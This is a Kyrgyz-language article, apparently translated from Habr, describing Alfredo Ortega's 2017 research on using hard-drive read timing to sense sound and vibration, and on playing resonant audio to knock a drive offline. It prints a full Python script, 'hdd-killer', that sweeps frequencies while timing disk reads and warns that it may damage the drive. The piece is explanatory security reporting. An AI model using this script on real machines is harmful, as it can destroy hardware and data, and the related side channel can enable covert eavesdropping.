
Буэнос-Айрестеги Ekoparty 2017 компьютердик коопсуздук конференциясында аргентиналык хакер Альфредо Ортега абдан кызыктуу өнүгүүнү көрсөттү - микрофонду колдонбостон жайларды тымызын тыңшоо системасын. Үн !
HDD негизинен жогорку интенсивдүү төмөнкү жыштыктагы үндөрдү, кадамдарды жана башка титирөөлөрдү кабыл алат. Окумуштуулар болсо да, адамдын сүйлөө жөндөмүн азырынча таануу мүмкүн эмес (мисалы, гироскоптон же HDDден жазылган төмөнкү жыштыктагы термелүүлөр аркылуу кепти таануу).
Үн - абанын же башка чөйрөнүн термелүүсү. Адам аларды ички кулакка термелүүлөрдү өткөрүүчү кулак капкагы аркылуу кабылдайт. Микрофон болжол менен кулакка окшош жасалган – бул жерде да термелүүлөр электрдик импульсту козгогон жука мембрана аркылуу жазылат. Катуу диск, албетте, айланадагы абанын термелүүсүнөн улам микроскопиялык термелүүлөргө да дуушар болот. Бул катуу дисктердин техникалык мүнөздөмөлөрүнөн да белгилүү: өндүрүүчүлөр, адатта, максималдуу жол берилген титирөө деңгээлин көрсөтүшөт, ал эми катуу дисктин өзү көбүнчө аны резинадан же башка изоляциялоочу материалдан жасалган титирөөдөн корголгон идишке салууга аракет кылат. Ушундан улам HDD аркылуу үндөрдү жаздырууга болот деген тыянак чыгарууга болот. Болгону, кантип аныктоо керек.
Альфредо Ортега каптал-канал чабуулунун уникалдуу версиясын, тактап айтканда, убакыт чабуулун сунуштады. Бул чабуул берилген киргизүү маалыматтарына жараша ар кандай операциялар ар кандай убакта аппаратта аткарылат деген божомолго негизделген. Бул учурда, "киргизүүчү маалыматтар" бул чөйрөнүн титирөөлөрү менен, башкача айтканда, үн менен байланышта болгон окуу башынын жана HDD пластинанын титирөөлөрү. Ошентип, эсептөө убактысын өлчөө жана маалыматтардын статистикалык анализин жүргүзүү менен баштын/пластинанын термелүүсүн жана демек, чөйрөнүн термелүүсүн ченесе болот. Маалыматтарды окуудагы кечигүүлөр канчалык узак болсо, HDD термелүүсү ошончолук күчтүү болот, демек, үн ошончолук катуураак болот.
Катуу дисктин титирөөнү кантип өлчөө керек? Абдан жөнөкөй: жөн гана тутумдук чалууну иштетиңиз read () — жана аны аягына чыгарууга кеткен убакытты жазыңыз. Заманбап операциялык системалар наносекунддук тактык менен системалык чалуулардын убактысын окууга мүмкүндүк берет.
Сектордон маалыматты окуу ылдамдыгы HDD корпусунун титирөөсүнө жараша баштын жана табактын абалына жараша болот. Баары болду.
Статистикалык талдоо жөнөкөй Kscope утилитасын колдонуу менен жүргүзүлөт. Алар айткандай, гениалдуу нерсенин баары жөнөкөй.

Kscope утилитасы (stat() syscall)
Kscope - бул системалык чалууларды аткаруу убакыттарындагы кичинекей айырмачылыктарды визуализациялоо үчүн чакан программа. Баштапкы код.
Өзүнчө репозиторийде катуу дискке убакыт чабуулу үчүн конфигурацияланган утилитанын версиясы бар, башкача айтканда, системалык чалууларды талдоо үчүн конфигурацияланган read ().
HDD аркылуу үн жазууну көрсөтүү, Kscope утилитасынын иштеши

Албетте, сөздү мындай түшүнүүгө болбойт, бирок HDD титирөө сенсору катары абдан ылайыктуу. Мисалы, катуу бут кийим кийген же жылаңаяк адам компьютери бар бөлмөгө кирсе, каттала аласыз (балким, эгерде кол салган адам жумшак кроссовка кийип жүрсө же жерде калың килем болсо, HDD дирилдөөлөрдү каттай албайт - бул текшерүүгө татыктуу). Компьютер сынган айнекти же катуу үн интенсивдүүлүгү менен башка инциденттерди каттай алат. Башкача айтканда, катуу диск уруксатсыз кирүүнү аныктоо системасынын бир түрү катары кызмат кыла алат.
HDD өлтүргүч
Баса, ушул сыяктуу ыкманы катуу дисктерди өчүрүү үчүн да колдонсо болот. Бирок, бул жерде биз катуу дисктен термелүүлөрдү кармабайбыз, тескерисинче, катуу дискке берилүүчү термелүүлөрдү пайда кылабыз. Эгер сиз катуу дисктин жыштыгына дал келген жыштыкта динамиктен аудио ойнотсоңуз, система жакында түзмөктү киргизүү/чыгаруу катасы (ядро) менен өчүрөт. Linux (Бул 120 секунддан кийин HDDди толугу менен өчүрөт.) Катуу дисктин өзү кайтарылгыс түрдө бузулуп калышы мүмкүн.

негизги Linux Edifier r19u USB динамиги аркылуу резонанстык жыштыкта үн чыккандан кийин 120 секунддан кийин катуу диск өчүрүлдү. Динамик кубаттуулугунун төрттөн бир бөлүгүндө (100 мВттан аз) күйгүзүлүп, катуу дисктен 20 см аралыкта, термелүүлөрдү күчөтүү үчүн столго багытталган. Дагы эле HDD өлтүргүчтүн демонстрациясы менен
HDDге мындай "чабуулдар" кээде күнүмдүк жашоодо кокусунан болуп жатканы кызык. Мисалы, 2016-жылдын сентябрында ING Bank маалымат борбору өрткө каршы машыгуудан кийин ишин 10 саатка токтотууга аргасыз болгон. жогорку басым астында баллондордон чыгып жаткан инерттүү газдын катуу үнүнөн улам. Үн абдан катуу болгон (130 дБден ашык), бирок сиз катуу дисктерге кыйкыра албайсыз - бул HDDге кирүү кечигүүсүн көбөйтөт.
Маалымат борборундагы катуу дисктерге адамдын кыйкырыгын көрсөтүү. Кечигүүнү өлчөө

резонанстуу үн чыгаруу үчүн, Alfredo Ortega деп аталган Python скрипт жазган ().
Бул абдан кичинекей, ошондуктан бул жерде толугу менен жарыялай аласыз.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Source: www.habr.com
